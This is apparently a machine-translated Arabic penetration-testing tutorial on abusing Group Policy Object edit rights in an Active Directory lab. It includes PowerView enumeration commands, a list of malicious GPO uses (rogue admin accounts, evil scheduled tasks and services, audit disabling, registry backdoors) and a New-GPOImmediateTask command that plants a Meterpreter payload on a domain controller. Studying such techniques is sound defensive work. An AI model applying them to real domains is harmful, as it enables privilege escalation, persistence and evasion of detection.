كائنات نهج المجموعة هي أداة تتيح للمسؤولين إدارة مجال بكفاءة. لكن يحدث أن يتم تعيين حقوق غير ضرورية للمستخدمين ، بما في ذلك تغيير سياسات كائن نهج المجموعة.

لتوضيح المثال ، سنضيف للمستخدم Ragnar حقوق تعديل سياسة التحكم في المجال الافتراضية (في الحياة الحقيقية ، تُمنح حقوق هذه السياسة فقط لمسؤولي المجال ، لكن جوهر الهجوم لا يتغير ؛ في حالة سياسة أخرى ، يتغير المضيفون الخاضعون للرقابة فقط).



عدّد الحقوق إلى جميع كائنات نهج المجموعة في المجال باستخدام PowerView .

 Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} 



المستخدم Ragnar له الحق في تغيير GPO وجود GUID من 6AC1786C-016F-11D2-945F-00C04FB984F9. لتحديد المضيفين في المجال الذين يطبقون هذه السياسة ، قم بتشغيل الأمر التالي

 Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_} 



حصلت على المضيف dc1.jet.lab.

مع العلم بالسياسة المحددة التي يمكن لمستخدم Ragnar تحريرها والمضيفات التي تنطبق عليها هذه السياسة ، يمكننا تنفيذ العديد من الإجراءات على مضيف dc1.jet.lab.

فيما يلي الخيارات لاستخدام GPO
تكوين الكمبيوتر \ تفضيلات \ إعدادات لوحة التحكم \ خيارات المجلدإنشاء / تغيير اقترانات نوع الملف ، تسجيل إجراءات DDE مع تلك الجمعيات
تكوين الكمبيوتر \ التفضيلات \ إعدادات لوحة التحكم \ المستخدمون المحليون والمجموعات المحليةإضافة حساب مسؤول محلي جديد
تكوين الكمبيوتر \ التفضيلات \ إعدادات لوحة التحكم \ المهام المجدولةDeploy a new evil scheduled task (ie: PowerShell download cradle)
Computer Configuration\Preferences\Control Panel Settings\ServicesCreate and configure new evil services
Computer Configuration\Preferences\Windows Settings\FilesAffected computers will download a file from the domain controller
Computer Configuration\Preferences\Windows Settings\INI FilesUpdate existing INI files
Computer Configuration\Preferences\Windows Settings\RegistryUpdate specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways
Computer Configuration\Preferences\Windows Settings\ShortcutsDeploy a new evil shortcut
Computer Configuration\Policies\Software Settings\Software installationDeploy an evil MSI. The MSI must be available to the GP client via a network share
Computer Configuration\Policies\Windows Settings\Scripts (startup/shutdown)Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Audit PolicyModify local audit settings. Useful for evading detection
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it
Computer Configuration\Policies\Windows Settings\Security Settings\RegistryAlter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system
Computer Configuration\Policies\Windows Settings\Security Settings\Windows FirewallManage the Windows firewall. Open up ports if they're blocked
Computer Configuration\Preferences\Windows Settings\EnvironmentAdd UNC path for DLL side loading
Computer Configuration\Preferences\Windows Settings\FilesCopy a file from a remote UNC path


أدوات نيو-GPOImmediateTask و SharpGPOAbuse تسمح:

  • تشغيل المهمة في جدولة المهام
  • إضافة حقوق المستخدم (SeDebugPrivilege ، SeTakeOwnershipPrivilege ، وما إلى ذلك)
  • إضافة برنامج نصي يعمل بعد بدء التشغيل
  • إضافة مستخدم إلى المجموعة المحلية

على سبيل المثال ، أضف مهمة في برنامج جدولة المهام للحصول على جلسة Meterpreter:

 New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force 

بعد التنفيذ ، تظهر المهمة المجدولة في الاختبار



وتظهر جلسة Meterpreter.





لحذف مهمة مجدولة ، تحتاج إلى تشغيل الأمر التالي:

 New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy 

النتائج


في المقالة درسنا فقط بعض نواقل الهجوم. يمكن لطرق العرض مثل حسابات التعداد ورذاذ كلمة المرور ، MS14-068 ، ومجموعة من علة الطابعة وتفويض غير المقيد ، والهجمات على Exchange ( المسطرة ، PrivExchange ، ExchangeRelayX ) توسيع نطاق الهجوم بشكل كبير.

تتغير أساليب الهجوم وطرق التثبيت (التذكرة الذهبية ، التذكرة الفضية ، التمرير ، التجاوز ، تجزئة SID ، DC Shadow ، إلخ) باستمرار ، ويجب أن يكون فريق الدفاع جاهزًا دائمًا لأنواع جديدة من الهجمات.

Source: https://habr.com/ru/post/ar449278/


All Articles